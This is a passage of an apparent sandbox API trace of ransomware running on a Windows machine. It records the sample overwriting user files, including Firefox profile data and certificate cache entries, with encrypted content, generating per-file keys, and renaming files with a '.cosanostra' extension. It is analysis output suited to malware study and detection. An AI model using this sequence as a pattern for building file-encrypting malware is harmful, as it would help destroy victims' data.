HALPmcxz\\AppData\\Roaming\\V6SF mOyTtuY.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v6sf moyttuy.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.354] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V6SF mOyTtuY.ods") returned 66 [0098.354] StrStrW (lpFirst="V6SF mOyTtuY.ods", lpSrch=".txt") returned 0x0 [0098.355] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.355] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4ec*=0x2800, lpOverlapped=0x0) returned 1 [0098.355] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.355] WriteFile (in: hFile=0x160, lpBuffer=0x28df52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x28df52c*, lpNumberOfBytesWritten=0x28df4ec*=0x4, lpOverlapped=0x0) returned 1 [0098.355] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4ec*=0x30, lpOverlapped=0x0) returned 1 [0098.355] CloseHandle (hObject=0x160) returned 1 [0098.355] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V6SF mOyTtuY.ods.cosanostra") returned 77 [0098.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V6SF mOyTtuY.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v6sf moyttuy.ods"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V6SF mOyTtuY.ods.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v6sf moyttuy.ods.cosanostra")) returned 1 [0098.356] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df530 | out: pbBuffer=0x28df530) returned 1 [0098.356] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df528*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df528*=0x30) returned 1 [0098.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UGzz Pb_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ugzz pb_.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UGzz Pb_.bmp") returned 62 [0098.380] StrStrW (lpFirst="UGzz Pb_.bmp", lpSrch=".txt") returned 0x0 [0098.380] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.381] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df4ec*=0x2800, lpOverlapped=0x0) returned 1 [0098.381] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.381] WriteFile (in: hFile=0x160, lpBuffer=0x28df52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x28df52c*, lpNumberOfBytesWritten=0x28df4ec*=0x4, lpOverlapped=0x0) returned 1 [0098.381] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4ec*=0x30, lpOverlapped=0x0) returned 1 [0098.381] CloseHandle (hObject=0x160) returned 1 [0098.842] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UGzz Pb_.bmp.cosanostra") returned 73 [0098.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UGzz Pb_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ugzz pb_.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UGzz Pb_.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ugzz pb_.bmp.cosanostra")) returned 1 [0098.925] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df528 | out: pbBuffer=0x28df528) returned 1 [0098.925] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df520*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df520*=0x30) returned 1 [0098.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.937] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 78 [0098.937] StrStrW (lpFirst="profiles.ini", lpSrch=".txt") returned 0x0 [0098.951] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.951] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df4e4*=0x6f, lpOverlapped=0x0) returned 1 [0098.952] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.952] WriteFile (in: hFile=0x138, lpBuffer=0x28df524*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x28df524*, lpNumberOfBytesWritten=0x28df4e4*=0x4, lpOverlapped=0x0) returned 1 [0098.952] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4e4*=0x30, lpOverlapped=0x0) returned 1 [0098.952] CloseHandle (hObject=0x138) returned 1 [0098.953] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.cosanostra") returned 89 [0098.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.cosanostra")) returned 1 [0099.037] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df528 | out: pbBuffer=0x28df528) returned 1 [0099.037] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df520*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df520*=0x30) returned 1 [0099.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.038] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite") returned 105 [0099.038] StrStrW (lpFirst="places.sqlite", lpSrch=".txt") returned 0x0 [0099.039] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.040] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4e4*=0x2800, lpOverlapped=0x0) returned 1 [0099.040] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.040] WriteFile (in: hFile=0x138, lpBuffer=0x28df524*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x28df524*, lpNumberOfBytesWritten=0x28df4e4*=0x4, lpOverlapped=0x0) returned 1 [0102.575] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4e4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4e4*=0x30, lpOverlapped=0x0) returned 1 [0102.575] CloseHandle (hObject=0x138) returned 1 [0102.575] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.cosanostra") returned 116 [0102.575] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.cosanostra")) returned 1 [0102.578] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df520 | out: pbBuffer=0x28df520) returned 1 [0102.578] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df518*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df518*=0x30) returned 1 [0102.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.579] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 151 [0102.579] StrStrW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch=".txt") returned 0x0 [0102.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.597] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4dc*=0x5e0, lpOverlapped=0x0) returned 1 [0102.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.598] WriteFile (in: hFile=0x138, lpBuffer=0x28df51c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x28df51c*, lpNumberOfBytesWritten=0x28df4dc*=0x4, lpOverlapped=0x0) returned 1 [0102.598] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4dc*=0x30, lpOverlapped=0x0) returned 1 [0102.598] CloseHandle (hObject=0x138) returned 1 [0102.601] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9.cosanostra") returned 162 [0102.601] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9.cosanostra")) returned 1 [0102.603] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df520 | out: pbBuffer=0x28df520) returned 1 [0102.603] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df518*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df518*=0x30) returned 1 [0102.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.603] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 151 [0102.603] StrStrW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch=".txt") returned 0x0 [0102.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa63, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.635] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x59d, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df4dc*=0x59d, lpOverlapped=0x0) returned 1 [0102.635] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.635] WriteFile (in: hFile=0x138, lpBuffer=0x28df51c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x28df51c*, lpNumberOfBytesWritten=0x28df4dc*=0x4, lpOverlapped=0x0) returned 1 [0102.635] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4dc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4dc*=0x30, lpOverlapped=0x0) returned 1 [0102.635] CloseHandle (hObject=0x138) returned 1 [0102.635] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61.cosanostra") returned 162 [0102.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61.cosanostra")) returned 1 [0102.637] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df518 | out: pbBuffer=0x28df518) returned 1 [0102.637] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df510*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df510*=0x30) returned 1 [0102.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.640] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 151 [0102.640] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch=".txt") returned 0x0 [0102.641] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.641] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4d4*=0x1cf, lpOverlapped=0x0) returned 1 [0102.641] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.641] WriteFile (in: hFile=0x15c, lpBuffer=0x28df514*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x28df514*, lpNumberOfBytesWritten=0x28df4d4*=0x4, lpOverlapped=0x0) returned 1 [0102.641] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4d4*=0x30, lpOverlapped=0x0) returned 1 [0102.641] CloseHandle (hObject=0x15c) returned 1 [0102.642] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB.cosanostra") returned 162 [0102.642] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb.cosanostra")) returned 1 [0102.643] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df518 | out: pbBuffer=0x28df518) returned 1 [0102.643] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df510*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df510*=0x30) returned 1 [0102.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.644] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 151 [0102.644] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch=".txt") returned 0x0 [0102.645] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.645] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4d4*=0x1cf, lpOverlapped=0x0) returned 1 [0102.645] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.645] WriteFile (in: hFile=0x15c, lpBuffer=0x28df514*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x28df514*, lpNumberOfBytesWritten=0x28df4d4*=0x4, lpOverlapped=0x0) returned 1 [0102.645] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4d4*=0x30, lpOverlapped=0x0) returned 1 [0102.645] CloseHandle (hObject=0x15c) returned 1 [0102.645] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30.cosanostra") returned 162 [0102.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30.cosanostra")) returned 1 [0102.648] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df510 | out: pbBuffer=0x28df510) returned 1 [0102.648] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df508*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df508*=0x30) returned 1 [0102.648] CreateFileW 